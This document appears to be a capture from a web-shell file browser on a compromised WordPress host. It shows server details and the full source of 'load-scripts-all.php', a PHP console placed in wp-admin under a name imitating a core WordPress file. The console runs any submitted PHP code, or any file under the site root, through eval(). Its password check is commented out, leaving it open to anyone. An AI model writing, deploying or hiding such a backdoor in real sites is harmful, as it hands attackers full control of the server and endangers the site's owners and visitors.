HEX
Server: Apache/2.4.6
System: Linux l2webhost 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User: theparlor (1016)
PHP: 7.3.33
Disabled: NONE
Upload Files
File: /home/theparlor/public_html/wp-admin/load-scripts-all.php
<?php
/**
 * Minimal PHP Web Console (single file)
 *
 * ВАЖНО: Никогда не оставляйте этот файл на публичном сервере.
 * Доступ к консоли даёт полный контроль над сервером.
 */

// Можно включить простейшую защиту паролем (раскомментируй и задай пароль)
// $password = 'change_me';
// if (!isset($_GET['key']) || $_GET['key'] !== $password) {
//     http_response_code(403);
//     echo 'Forbidden';
//     exit;
// }

mb_internal_encoding('UTF-8');

$code          = '';
$filePathInput = '';
$resultOutput  = '';
$errorOutput   = '';
$returnOutput  = '';
$execTime      = null;

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $code          = isset($_POST['code']) ? (string)$_POST['code'] : '';
    $filePathInput = isset($_POST['file_path']) ? (string)$_POST['file_path'] : '';

    try {
        // Если указан путь к файлу — берём код из файла
        if (trim($filePathInput) !== '') {
            $relativePath = ltrim($filePathInput, "/\\");
            $absolutePath = rtrim(__DIR__, "/\\") . DIRECTORY_SEPARATOR . $relativePath;

            if (!file_exists($absolutePath) || !is_file($absolutePath)) {
                throw new RuntimeException("Файл не найден: {$relativePath}");
            }

            $fileContents = file_get_contents($absolutePath);
            if ($fileContents === false) {
                throw new RuntimeException("Не удалось прочитать файл: {$relativePath}");
            }

            $code = $fileContents;
        }

        if (trim($code) === '') {
            throw new RuntimeException('Код пустой.');
        }

        // Уберём открывающий тег PHP, если он есть
        $codeToEval = preg_replace('/^\s*<\?(php)?/i', '', $code);

        $start = microtime(true);

        // Перехватываем вывод
        ob_start();

        // Локальная функция для изоляции eval
        $evaluator = function () use ($codeToEval) {
            // Доступны $__code (исходный код) и $__file (если пришёл из файла)
            $__code = $codeToEval;
            $__file = isset($_POST['file_path']) ? (string)$_POST['file_path'] : null;

            // Выполняем код и возвращаем значение последнего выражения/return
            return eval($codeToEval);
        };

        $returnValue = $evaluator();

        $output = ob_get_contents();
        ob_end_clean();

        $execTime = microtime(true) - $start;

        if ($output !== '') {
            $resultOutput = $output;
        }

        if (isset($returnValue)) {
            // Красиво отформатируем возвращаемое значение
            $returnOutput = var_export($returnValue, true);
        }
    } catch (Throwable $e) {
        if (ob_get_level() > 0) {
            ob_end_clean();
        }
        $errorOutput = $e->getMessage() . "\n\n" . $e->getTraceAsString();
    }
}

function h($value)
{
    return htmlspecialchars((string)$value, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
}
?>
<!DOCTYPE html>
<html lang="ru">
<head>
    <meta charset="UTF-8">
    <title>PHP Console</title>
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <style>
        :root {
            --bg: #121212;
            --bg-alt: #181818;
            --border: #2a2a2a;
            --text: #f5f5f5;
            --muted: #aaaaaa;
            --accent: #3f8cff;
            --accent-soft: rgba(63,140,255,0.15);
            --error: #ff4d4f;
            --success: #52c41a;
            --radius: 6px;
            --font-mono: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace;
            --font-sans: system-ui, -apple-system, BlinkMacSystemFont, "Segoe UI", sans-serif;
        }

        * {
            box-sizing: border-box;
        }

        body {
            margin: 0;
            min-height: 100vh;
            background: radial-gradient(circle at top, #1f1f1f 0, #050505 60%);
            color: var(--text);
            font-family: var(--font-sans);
            display: flex;
            align-items: stretch;
            justify-content: center;
        }

        .page {
            width: 100%;
            max-width: 1200px;
            margin: 24px;
            background: rgba(10, 10, 10, 0.95);
            border: 1px solid var(--border);
            border-radius: 10px;
            box-shadow: 0 18px 45px rgba(0, 0, 0, 0.75);
            display: flex;
            flex-direction: column;
            overflow: hidden;
        }

        .header {
            padding: 16px 20px;
            border-bottom: 1px solid var(--border);
            display: flex;
            justify-content: space-between;
            align-items: baseline;
            gap: 12px;
        }

        .title {
            font-size: 18px;
            font-weight: 600;
            letter-spacing: 0.04em;
            text-transform: uppercase;
        }

        .subtitle {
            font-size: 12px;
            color: var(--muted);
        }

        .badge {
            padding: 2px 8px;
            border-radius: 999px;
            border: 1px solid var(--border);
            font-size: 11px;
            text-transform: uppercase;
            letter-spacing: 0.08em;
            color: var(--muted);
        }

        .content {
            display: grid;
            grid-template-columns: minmax(0, 1.2fr) minmax(0, 1fr);
            gap: 0;
        }

        @media (max-width: 900px) {
            .content {
                grid-template-columns: 1fr;
            }
        }

        .panel {
            padding: 16px 18px 18px;
        }

        .panel + .panel {
            border-left: 1px solid var(--border);
        }

        @media (max-width: 900px) {
            .panel + .panel {
                border-left: none;
                border-top: 1px solid var(--border);
            }
        }

        .field-label {
            font-size: 12px;
            text-transform: uppercase;
            letter-spacing: 0.08em;
            color: var(--muted);
            margin-bottom: 6px;
        }

        .field-sub {
            font-size: 11px;
            color: var(--muted);
            margin-bottom: 10px;
        }

        textarea,
        input[type="text"] {
            width: 100%;
            background: var(--bg-alt);
            border-radius: var(--radius);
            border: 1px solid var(--border);
            color: var(--text);
            font-family: var(--font-mono);
            font-size: 13px;
            padding: 8px 10px;
            outline: none;
            resize: vertical;
        }

        textarea:focus,
        input[type="text"]:focus {
            border-color: var(--accent);
            box-shadow: 0 0 0 1px var(--accent-soft);
        }

        textarea {
            min-height: 260px;
            line-height: 1.5;
        }

        .input-row {
            display: flex;
            gap: 10px;
            align-items: center;
            margin: 10px 0 16px;
        }

        .input-row input[type="text"] {
            flex: 1;
        }

        .helper {
            font-size: 11px;
            color: var(--muted);
        }

        .controls {
            display: flex;
            justify-content: space-between;
            align-items: center;
            margin-top: 10px;
            gap: 10px;
        }

        .buttons {
            display: flex;
            gap: 8px;
        }

        button {
            appearance: none;
            border: none;
            border-radius: var(--radius);
            padding: 7px 16px;
            font-size: 13px;
            font-weight: 500;
            letter-spacing: 0.04em;
            text-transform: uppercase;
            cursor: pointer;
            transition: background 0.15s ease, transform 0.05s ease, box-shadow 0.15s ease;
        }

        .btn-primary {
            background: var(--accent);
            color: #fff;
            box-shadow: 0 0 0 1px rgba(0, 0, 0, 0.4), 0 8px 18px rgba(0, 0, 0, 0.7);
        }

        .btn-primary:hover {
            background: #5b9dff;
            transform: translateY(-1px);
        }

        .btn-secondary {
            background: transparent;
            color: var(--muted);
            border: 1px solid var(--border);
        }

        .btn-secondary:hover {
            border-color: var(--accent);
            color: var(--accent);
        }

        .meta {
            font-size: 11px;
            color: var(--muted);
        }

        .meta span {
            margin-right: 12px;
        }

        .meta-ok {
            color: var(--success);
        }

        .meta-error {
            color: var(--error);
        }

        .section {
            margin-bottom: 14px;
        }

        .section-title {
            font-size: 12px;
            text-transform: uppercase;
            letter-spacing: 0.08em;
            color: var(--muted);
            margin-bottom: 6px;
        }

        .output-box {
            background: var(--bg-alt);
            border-radius: var(--radius);
            border: 1px solid var(--border);
            padding: 8px 10px;
            font-family: var(--font-mono);
            font-size: 12px;
            max-height: 260px;
            overflow: auto;
            white-space: pre-wrap;
            word-break: break-word;
        }

        .output-box.empty {
            color: var(--muted);
            font-style: italic;
        }

        .error-box {
            border-color: var(--error);
        }

        .badge-small {
            font-size: 10px;
            text-transform: uppercase;
            letter-spacing: 0.08em;
            color: var(--muted);
            border-radius: 999px;
            border: 1px solid var(--border);
            padding: 1px 6px;
        }
    </style>
</head>
<body>
<div class="page">
    <div class="header">
        <div>
            <div class="title">PHP Console</div>
            <div class="subtitle">Однофайловая веб-консоль для выполнения PHP-кода и файлов</div>
        </div>
        <div class="badge">Single File &bull; Eval-Based</div>
    </div>

    <form method="post" class="content" autocomplete="off">
        <div class="panel">
            <div class="field-label">Код</div>
            <div class="field-sub">Можно писать PHP без тега <code>&lt;?php</code>, или загрузить из файла ниже.</div>
            <textarea name="code" spellcheck="false"><?php echo h($code); ?></textarea>

            <div class="input-row">
                <input type="text"
                       name="file_path"
                       placeholder="Например: wp-content/uploads/script.php"
                       value="<?php echo h($filePathInput); ?>">
                <span class="badge-small">Файл</span>
            </div>
            <div class="helper">
                Путь указывается <strong>от корня сайта</strong> (где лежит этот файл). 
                Если путь задан, выполняется содержимое файла.
            </div>

            <div class="controls">
                <div class="buttons">
                    <button type="submit" class="btn-primary">Выполнить</button>
                    <button type="submit" name="clear" value="1" class="btn-secondary"
                            onclick="document.querySelector('textarea[name=code]').value='';document.querySelector('input[name=file_path]').value='';">
                        Очистить
                    </button>
                </div>
                <div class="meta">
                    <?php if ($execTime !== null): ?>
                        <span class="meta-ok">Время: <?php echo h(number_format($execTime, 4)); ?> c</span>
                    <?php endif; ?>
                    <span>PHP <?php echo h(PHP_VERSION); ?></span>
                </div>
            </div>
        </div>

        <div class="panel">
            <div class="section">
                <div class="section-title">Вывод (echo, print и т.п.)</div>
                <div class="output-box<?php echo $resultOutput === '' ? ' empty' : ''; ?>">
                    <?php echo $resultOutput === '' ? 'Пока ничего не выполнено.' : h($resultOutput); ?>
                </div>
            </div>

            <div class="section">
                <div class="section-title">Возвращаемое значение (return)</div>
                <div class="output-box<?php echo $returnOutput === '' ? ' empty' : ''; ?>">
                    <?php echo $returnOutput === '' ? 'Нет возвращаемого значения или оно равно null.' : h($returnOutput); ?>
                </div>
            </div>

            <div class="section">
                <div class="section-title">Ошибки</div>
                <div class="output-box<?php echo $errorOutput === '' ? ' empty' : ' error-box'; ?>">
                    <?php echo $errorOutput === '' ? 'Ошибок нет.' : h($errorOutput); ?>
                </div>
            </div>
        </div>
    </form>
</div>
</body>
</html>